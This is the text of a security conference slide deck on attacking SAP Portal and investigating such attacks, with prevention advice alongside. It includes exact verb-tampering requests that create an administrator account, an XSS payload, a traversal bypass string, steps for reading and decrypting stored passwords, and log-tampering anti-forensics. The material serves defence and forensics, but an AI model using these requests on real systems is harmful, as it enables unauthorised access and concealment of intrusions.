SAP Portal Hacking and Forensics at Confidence 2013 - ERPScan

Invest in securityto secure investmentsSAP Portal: Hacking and forensicsDmitry Chastukhin – Director of SAP pentest/research teamEvgeny Neyolov – Security analyst, (anti)forensics research

ERPScan• Developing software for SAP security monitoring• Talks at 35+ security conferences worldwide: BlackHat(US/EU/DC/UAE), RSA, Defcon, CONFidence, HITB, etc.• First to develop software for NetWeaver J2EE assessment• The only solution to assess all areas of SAP Security• Research team with experience in different areas of securityfrom ERP and web security to mobile, embedded devices, andcritical infrastructure, accumulating their knowledge on SAPresearch.Leading SAP AG partner in the field of discovering securityvulnerabilities by the number of found vulnerabilitieserpscan.comERPScan — invest in security to secure investments2

SAP• The most popular business application• More than 180000 customers worldwide• More than 70% of Forbes 500 run SAP• More than 40% of ERP market in Polanderpscan.comERPScan — invest in security to secure investments5

SAP securityEspionage• Stealing financial information• Stealing corporate secrets• Stealing supplier and customer lists• Stealing HR dataFraud• False transactions• Modification of master dataSabotage• Denial of service• Modification of financial reports• Access to technology network (SCADA) by trust relationserpscan.comERPScan — invest in security to secure investments6

SAP security353025201510• BlackHat• Defcon• HITB• RSA• CONFidence• DeepSec• Hacktivity• Troopers• Source502003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013Source: SAP Security in Figures 2013LINKerpscan.comERPScan — invest in security to secure investments7

How easy? SAP Security NotesMore than 2600 in totalerpscan.comERPScan — invest in security to secure investments8

Is it remotely exploitable?sapscan.com> 5000 non-web SAP services exposed in the worldincluding Dispatcher, Message server, SapHostControl, etc.erpscan.comERPScan — invest in security to secure investments9

What about other services?98World76543210SAP Dispatcher SAP MMC SAP Message Server SAP HostControl SAP ITS Agate SAP Message Serverhttpderpscan.comERPScan — invest in security to secure investments10

What about unpublished threats?• Companies are not interested in publishing information abouttheir breaches• There are a lot of internal breaches thanks to unnecessarilygiven authorizations (An employee by mistake buys hundreds ofexcavators instead of ten)• There are known stories about backdoors left by developers incustom ABAP code• How can you be sure that, if a breach occurs, you can findevidence?erpscan.comERPScan — invest in security to secure investments11

SAP ForensicsIf there are no attacks, it doesn’t mean anything• Companies don’t like to share it• Companies don’t use security audit ~10%• Even if used, nobody manages it ~5%• Even if managed, no correlation ~1%erpscan.com ERPScan — invest in security to secure investments12

Typical SAP audit options• ICM log icm/HTTP/logging_0 70%• Security audit log in ABAP 10%• Table access logging rec/client 4%• Message Server log ms/audit 2%• SAP Gateway access log 2%* The percentage of companies is based on our security assessments and productimplementations.erpscan.com ERPScan — invest in security to secure investments13

What do we see?• A lot of research• Real attacks• Lack of logging practice• Many vulnerabilities are hard to close → We need to monitorthem, at leasterpscan.com ERPScan — invest in security to secure investments14

What do we need to monitor?External attacks on SAP* Ideally, we should control everything, but this talk has limits, so let’s focus onthe most critical areas.Attack users and SAP GUISAProuterExposed SAP servicesSAP Portal and WEBAwarenessSecure configuration and patch managementDisable them•Too much issues and customconfiguration•Can be 0-days•Need to concentrate on this areaerpscan.com ERPScan — invest in security to secure investments15

Say hello to Portal• Point of web accessto SAP systems• Point of web access toother corporate systems• Way for attackersto get access to SAPfrom the Interneterpscan.com ERPScan — invest in security to secure investments16

EP architectureerpscan.com ERPScan — invest in security to secure investments17

Okay, okay. SAP Portal is important, andit has many links to other modules.So what?erpscan.com ERPScan — invest in security to secure investments18

SAP Logging“If you are running an ABAP + Java installation of Web AS withSAP Web Dispatcher as a load balancing solution, you can safelydisable logging of HTTP requests and responses on J2EE Engine,and use the corresponding CLF logs of SAP Web Dispatcher. Thisalso improves the HTTP communication performance. The onlydrawback of using the Web Dispatcher’s CLF logs is that noinformation is available about the user executing the request(since the user is not authenticated on the Web Dispatcher, buton the J2EE Engine instead).“SOURCE: SAP HELP*Not the only…. There are many complex attacks with POST requests.erpscan.com ERPScan — invest in security to secure investments19

SAP J2EE Logging• Categories of system events recording:– System – all system related security and administrative logs– Applications – all system events related to business logic– Performance – reserved for single activity tracing• Default location of these files in your file system:\usr\sap\\\j2ee\cluster\\log\erpscan.com ERPScan — invest in security to secure investments20

SAP J2EE Logging• The developer trace files of the Java instance\\work• The developer trace files of the central services\\work\\log• Java server logs\\j2ee\cluster\server\logerpscan.com ERPScan — invest in security to secure investments21

Full logging is not always the best option•erpscan.com ERPScan — invest in security to secure investments22

SAP Management Consoleerpscan.com ERPScan — invest in security to secure investments23

SAP Management Console• SAP MMC: centralized system management• SAP MMC has remote commands• Commands are simple SOAP requests• Allowing to see the trace and log messages• It’s not bad if you only use it sometimes and delete logs afteruse, but…erpscan.com ERPScan — invest in security to secure investments24

SAP Management ConsoleWhat can we find in logs?Right!The file userinterface.log contains calculated JSESIONIDBut…The attacker must have credentials to read the log fileWRONG!erpscan.com ERPScan — invest in security to secure investments25

SAP Management Consoletruej2ee/cluster/server0/log/system/userinterface.log%COUNT%EOFerpscan.com ERPScan — invest in security to secure investments26

Prevention• Don’t use TRACE_LEVEL = 3• Delete traces when work is finished• Limit access to dangerous methods• Install notes 927637 and 1439348• Mask security-sensitive data in HTTP access logLINK to SAP HELPerpscan.com ERPScan — invest in security to secure investments27

Prevention• The HTTP Provider service can mask securitysensitiveURL parameters, cookies, or headers• By default, only for the headers listed below– Path Parameter: jsessionid– Request Parameters: j_password, j_username,j_sap_password, j_sap_again, oldPassword,confirmNewPassword,ticket– HTTP Headers: Authorization, Cookie (JSESSIONID,MYSAPSSO2)LINK to SAP HELPerpscan.com ERPScan — invest in security to secure investments28

SAP NetWeaver J2EEerpscan.com ERPScan — invest in security to secure investments29

web.xmlCriticalActioncom.sap.admin.Critical.ActionCriticalAction

Verb Tampering• If we are trying to get access to an application using GET – weneed a login:pass and administrator role• What if we try to get access to application using HEAD insteadGET?• PROFIT!• Did U know about ctc?erpscan.com ERPScan — invest in security to secure investments33

Verb TamperingNeed Admin account in SAP Portal?Just send two HEAD requests• Create new user CONF:idenceHEAD /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=CONF,PASSWORD=idence• Add the user CONF to the group AdministratorsHEAD /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=CONF,GROUPNAME=Administrators* Works when UME uses JAVA database.erpscan.com ERPScan — invest in security to secure investments34

Prevention• Install SAP notes 1503579, 1616259, 1589525,1624450• Install other SAP notes about Verb Tampering• Scan applications with ERPScan WEB.XMLchecker• Disable the applications that are not necessaryerpscan.com ERPScan — invest in security to secure investments35

Investigation[Apr 3, 2013 1:23:59 AM ] - 192.168.192.14: GET /ctc/ConfigServlet HTTP/1.1 401 1790[Apr 3, 2013 1:30:01 AM ] - 192.168.192.14: HEAD /ctc/ConfigServlet HTTP/1.1 200 0[Apr 3, 2013 1:30:01 AM ] - 192.168.192.14: HEAD/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=CONF,PASSWORD=idence HTTP/1.0 200 0j2ee\cluster\\log\system\httpaccess\responses.trcerpscan.com ERPScan — invest in security to secure investments36

web.xmlCriticalActioncom.sap.admin.Critical.ActionCriticalAction

Invoker Servlet• Want to execute an OS command on J2EE server remotely?• Maybe upload a backdoor in a Java class?• Or sniff all traffic?Still remember ctc?erpscan.com ERPScan — invest in security to secure investments38

Invoker Servleterpscan.com ERPScan — invest in security to secure investments39

Prevention• Update to the latest patch 1467771, 1445998• “EnableInvokerServletGlobally” must be “false”• Check all WEB.XML files with ERPScan WEBXMLcheckererpscan.com ERPScan — invest in security to secure investments40

Investigation#1.5#000C29C2603300790000003A000008700004D974E7CCC6D8#1364996035203#/System/Security/Audit#sap.com/tc~lm~ctc~util~basic_ear#com.sap.security.core.util.SecurityAudit#Guest#0#SAP J2EE Engine JTATransaction :[024423a006e18]#n/a##217c5d309c6311e29bca000c29c26033#SAPEngine_Application_Thread[impl:3]_22##0#0#Info#1#com.sap.security.core.util.SecurityAudit#Plain###Guest | USER.CREATE |USER.PRIVATE_DATASOURCE.un:CONF | | SET_ATTRIBUTE:uniquename=[CONF]##1.5#000C29C2603300680002C97A000008700004D974E8354D1D#1364996042062#/System/Security/Audit/J2EE#sap.com/irj#com.sap.engine.services.security.roles.audit#Guest#182818##n/a##0c5bfef08bc511e287e6000c29c26033#Thread[Thread-50,5,SAPEngine_Application_Thread[impl:3]_Group]##0#0#Info#1#com.sap.engine.services.security.roles.audit#Java###{0}:Authorization check for caller assignment to J2EE security role[{1} : {2}].#3#ACCESS.OK#SAP-J2EE-Engine#guests#erpscan.com ERPScan — invest in security to secure investments41

Investigationerpscan.com ERPScan — invest in security to secure investments41

XSS• Many XSSs in Portal• But sometimes HttpOnly• But when we exploit XSS, we can use the features of SAP PortalEPCFerpscan.com ERPScan — invest in security to secure investments43

EPCF• EPCF provides a JavaScript API designed for the client-sidecommunication between portal components and the portal coreframework• Enterprise Portal Client Manager (EPCM)• iViews can access the EPCM object from every portal pageor IFrame• Every iView contains the EPCM objectalert(EPCM.loadClientData("urn:com.sap.myObjects", "person");For example, EPCF used for transient user data buffer for iViewserpscan.com ERPScan — invest in security to secure investments44

Prevention• Install SAP note 1656549erpscan.com ERPScan — invest in security to secure investments45

Investigation#Plain###192.168.192.26 : GET/irj/servlet/prt/portal/prtroot/com.sap.portal.usermanagement.admin.UserMapping?systemid=MS_EXCHANGEaaaa%3C/script%3E%3Cscript%3Ealert(%27xSS%27)%3C/script%3E HTTP/1.1 200 3968#j2ee\cluster\\log\system\httpaccess\responses.trcerpscan.com ERPScan — invest in security to secure investments46

Web Dynpro JAVA• Web Dynpro unauthorized modifications• For example:– somebody steals an account using XSS/CSRF/Sniffing– then tries to modify the severity level of logserpscan.com ERPScan — invest in security to secure investments47

Web Dynpro JAVALINK to SAP HELPerpscan.com ERPScan — invest in security to secure investments48

Investigation• No traces of change in default log files\cluster\server0\log\system\httpaccess\responses.log• Web Dynpro sends all data by POST, and we only see GET URLs inresponses.log• But sometimes we can find information by indirect signs[Mar 20, 2013 9:35:49 AM ] - 172.16.0.63 : GET/webdynpro/resources/sap.com/tc~lm~webadmin~log_config~wd/Components/com.sap.tc.log_configurator.LogConfigurator/warning.gif HTTP/1.1 200 110• The client loaded images from the server during some changeserpscan.com ERPScan — invest in security to secure investments49

Investigation• Most actions have icons• They have to be loaded from the server• Usually, legitimate users have them all in cache• Attackers usually don’t have them, so they make requests to theserver• That’s how we can identify potentially malicious actions• But there should be correlation with a real user’s activity• False positives are possible:– New legitimate user– Old user clears cache– Othererpscan.com ERPScan — invest in security to secure investments50

Directory traversalFIXerpscan.com ERPScan — invest in security to secure investments51

Directory traversal fix bypasserpscan.com ERPScan — invest in security to secure investments52

Prevention• Install SAP note 1630293erpscan.com ERPScan — invest in security to secure investments53

Investigation/../!252f..!252ferpscan.com ERPScan — invest in security to secure investments54

Breaking SAP Portal• Found a file in the OS of SAP Portal with the encryptedpasswords for administration and DB• Found a file in the OS of SAP Portal with keys to decryptpasswords• Found a vulnerability (another one ;)) which allows reading thefiles with passwords and keys• Decrypt passwords and log into Portal• PROFIT!erpscan.com ERPScan — invest in security to secure investments55

Read the fileHow can we read the file?• Directory Traversal• OS Command execution• XML External Entity (XXE)erpscan.com ERPScan — invest in security to secure investments56

XXE in Portal: Details• Injection of malicious requests into XML packets• Can lead to unauthorized file read, DoS, SSRF• There is an XXE vulnerability in SAP Portal• Can be exploited by modification of POST request• It is possible to read any file from OS and much moreerpscan.com ERPScan — invest in security to secure investments57

XXE in Portalerpscan.com ERPScan — invest in security to secure investments58

XXE in Portalerpscan.com ERPScan — invest in security to secure investments59

XXEError based XXEerpscan.com ERPScan — invest in security to secure investments60

XXE in Portal: Result• We can read any file• Including config with passwords• The SAP J2EE Engine stores the database user SAPDB; itspassword is here:\usr\sap\\SYS\global\security\data\SecStore.propertieserpscan.com ERPScan — invest in security to secure investments61

Where are the passwords?(config.properties)rdbms.maximum_connections=5system.name=TTTsecstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.keysecstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.propertiessecstorefs.lib=/oracle/TTTsapmnt/global/security/librdbms.driverLocation=/oracle/client/10x_64/instantclient/ojdbc14.jarrdbms.connection=jdbc/pool/TTTrdbms.initial_connections=1erpscan.com ERPScan — invest in security to secure investments62

Where are the passwords?(config.properties)rdbms.maximum_connections=5system.name=TTTsecstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.keysecstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.propertiessecstorefs.lib=/oracle/TTTsapmnt/global/security/librdbms.driverLocation=/oracle/client/10x_64/instantclient/ojdbc14.jarrdbms.connection=jdbc/pool/TTTrdbms.initial_connections=1erpscan.com ERPScan — invest in security to secure investments63

SecStore.properties$internal/version=Ni4zFF4wMSeaseforCCMxegAfxadmin/host/TTT=7KJuOPPs/+u+14jM7uy7cy7exrZuYvevkSrPxwueur2445yxgBSadmin/password/TTT=7KJuOPPs/+uv+14j56vDc7M7v7dytbGbkgqDp+QD04b0Fhjdbc/pool/TTT=7KJuOPPs/+u5jM6s1cvvgQ1gzFvarxuUzEJTHTJI0VGegHBut where is the key?admin/port/TTT=7KJuOPPs/+u+1j4vD1cv6ZTvd336rzEd7267Rwr4ZUgRTQ$internal/check=BJRrzfjeUA+bw4XCzdz16zX78ufbt$internal/mode=encryptedadmin/user/TTT=7KJuOPPs/+u+14j6s14sTxXU3ONl3rL6N7yssV75eC6/5S3Eerpscan.com ERPScan — invest in security to secure investments64

config.propertiesrdbms.maximum_connections=5system.name=TTTsecstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.keysecstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.propertiessecstorefs.lib=/oracle/TTTsapmnt/global/security/librdbms.driverLocation=/oracle/client/10x_64/instantclient/ojdbc14.jarrdbms.connection=jdbc/pool/TTTrdbms.initial_connections=1erpscan.com ERPScan — invest in security to secure investments65

Get the password• We have an encrypted password• We have a key to decrypt itWe got the J2EE admin and JDBClogin:password!erpscan.com ERPScan — invest in security to secure investments66

Prevention• Install SAP note 1619539• Restrict read access to files SecStore.propertiesand SecStore.keyerpscan.com ERPScan — invest in security to secure investments67

InvestigationPOST/irj/servlet/prt/portal/prteventname/HtmlbEvent/prtroot/pcd!3aportal_content!2fadministrator!2fsuper_admin!2fsuper_admin_role!2fcom.sap.portal.content_administration!2fcom.sap.portal.content_admin_ws!2fcom.sap.km.AdminContent!2fcom.sap.km.AdminContentExplorer!2fcom.sap.km.AdminExplorer/ HTTP/1.1erpscan.com ERPScan — invest in security to secure investments68

Investigation• The only one way to get HTTP POST request values is to enableHTTP Trace• Visual Administrator → Dispatcher → HTTP Provider→ Properties: HttpTrace = enable• For 6.4 and 7.0 SP12 and lower:– On Dispatcher:/j2ee/cluster/dispatcher/log/defaultTrace.trc– On Server\j2ee\cluster\server0\log\system\httpaccess\responses.0.trc• For 7.0 SP13 and higher:/j2ee/cluster/dispatcher/log/services/http/req_resp.trc• Manually analyze all requests for XXE attackserpscan.com ERPScan — invest in security to secure investments69

Malicious file upload: Attack• Knowledge management allows uploading to the serverdifferent types of files that can store malicious content• Sometimes, if guest access is allowed, it is possible to uploadany file without being an authenticated user• For example, it can be an HTML file with JavaScript that stealscookieserpscan.com ERPScan — invest in security to secure investments70

Malicious file upload: Attackerpscan.com ERPScan — invest in security to secure investments71

Malicious file upload: Attackerpscan.com ERPScan — invest in security to secure investments72

Malicious file upload: Forensics[Apr 10, 2013 2:26:13 AM ] - 192.168.192.22 : POST/irj/servlet/prt/portal/prteventname/HtmlbEvent/prtroot/pcd!3aportal_content!2fspecialist!2fcontentmanager!2fContentManager!2fcom.sap.km.ContentManager!2fcom.sap.km.ContentExplorer!2fcom.sap.km.ContentDocExplorer!2fcom.sap.km.DocsExplorer/documentsHTTP/1.1 200 13968[Apr 10, 2013 2:26:14 AM ] - 192.168.192.22 : GET/irj/go/km/docs/etc/public/mimes/images/html.gifHTTP/1.1 200 165*Again, images can help us.erpscan.com ERPScan — invest in security to secure investments73

Malicious file upload: PreventionEnable File Extension and Size Filter:• System Administration → System Configuration →Content Management → Repository → Filters → ShowAdvanced Options → File Extension and Size Filter• Select either the All repositories parameter or at leastone repository from the repository list inthe Repositories parametererpscan.com ERPScan — invest in security to secure investments74

Malicious file upload: PreventionEnable Malicious Script Filter:• System Administration → System Configuration →Content Management → Repository → Filters → ShowAdvanced Options → Malicious Script Filter• The filter also detects executable scripts in files that arebeing modified and encodes them when they are saved– enable Forbidden Scripts. Comma-separated list of bannedscript tags that will be encoded when the filter is applied– enable the Send E-Mail to Administrator optionerpscan.com ERPScan — invest in security to secure investments75

Portal post-exploitation• Lot of links to other systems in corporate LAN• Using SSRF, attackers can get access to these systemsWhat is SSRF?erpscan.com ERPScan — invest in security to secure investments76

SSRF History: Basics• We send Packet A to Service A• Service A initiates Packet B to service B• Services can be on the same or different hosts• We can manipulate some fields of packet B within packet A• Various SSRF attacks depend on how many fields we can controlon packet BPacket APacket Berpscan.com ERPScan — invest in security to secure investments77

Partial Remote SSRF:HTTP attacks on other servicesCorporatenetworkHTTP ServerDirect attackGET /vuln.jspSSRF AttackGet /vuln.jstSSRF AttackABerpscan.com ERPScan — invest in security to secure investments78

Gopher uri scheme• Using gopher:// uri scheme, it is possible to send TCPpackets– Exploit OS vulnerabilities– Exploit old SAP application vulnerabilities– Bypass SAP security restrictions– Exploit vulnerabilities in local servicesMore info in our BH2012 presentation:SSRF vs. Business Critical ApplicationsLINKerpscan.com ERPScan — invest in security to secure investments79

Portal post-exploitationerpscan.com ERPScan — invest in security to secure investments80

Anti-forensicserpscan.com ERPScan — invest in security to secure investments81

Anti-forensics• Flooding• Deleting• Changingerpscan.com ERPScan — invest in security to secure investments82

Anti-forensicsLog flooding• 5 active logs• Maximum log file size is 10 Mb• Archiving when all logs reach the maximum size• If file.0.log -> max size then open file.1.log• If file.4.log -> max size then zip all and backup• Rewriting the same files after archivingerpscan.com ERPScan — invest in security to secure investments83

Anti-forensicsLog deleting• SAP locks write access to the only one active log• SAP allows reading/writing logs, so it is possible to delete them• It could compromise the attacker’s presenceLog changing• SAP locks write access only to the one active log• It is possible to write into any other log fileerpscan.com ERPScan — invest in security to secure investments84

Securing SAP Portal• Patching• Secure configuration• Enabling HTTP Trace with masking• Malicious script filter• Log archiving• Additional place for log storage• Monitoring of security events– Own scripts, parse common patterns– ERPScan has all existing web vulns/0-day patternserpscan.com ERPScan — invest in security to secure investments85

ConclusionIt is possible to protect yourself from these kinds of issues,and we are working close with SAP to keep customers secureSAP GuidesRegular security assessmentsMonitoring technical securityABAP code reviewSegregation of DutiesSecurity events monitoringIt’s all in your hands

Future workI'd like to thank SAP's Product Security Response Team for thegreat cooperation to make SAP systems more secure. Researchis always ongoing, and we can't share all of it today. If you wantto be the first to see new attacks and demos, follow us at@erpscan and attend future presentations:• July 31 – BlackHat (Las Vegas, USA)erpscan.com ERPScan — invest in security to secure investments87

Web:www.erpscan.come-mail: info@erpscan.comTwitter:@erpscan@_chipik@neyolov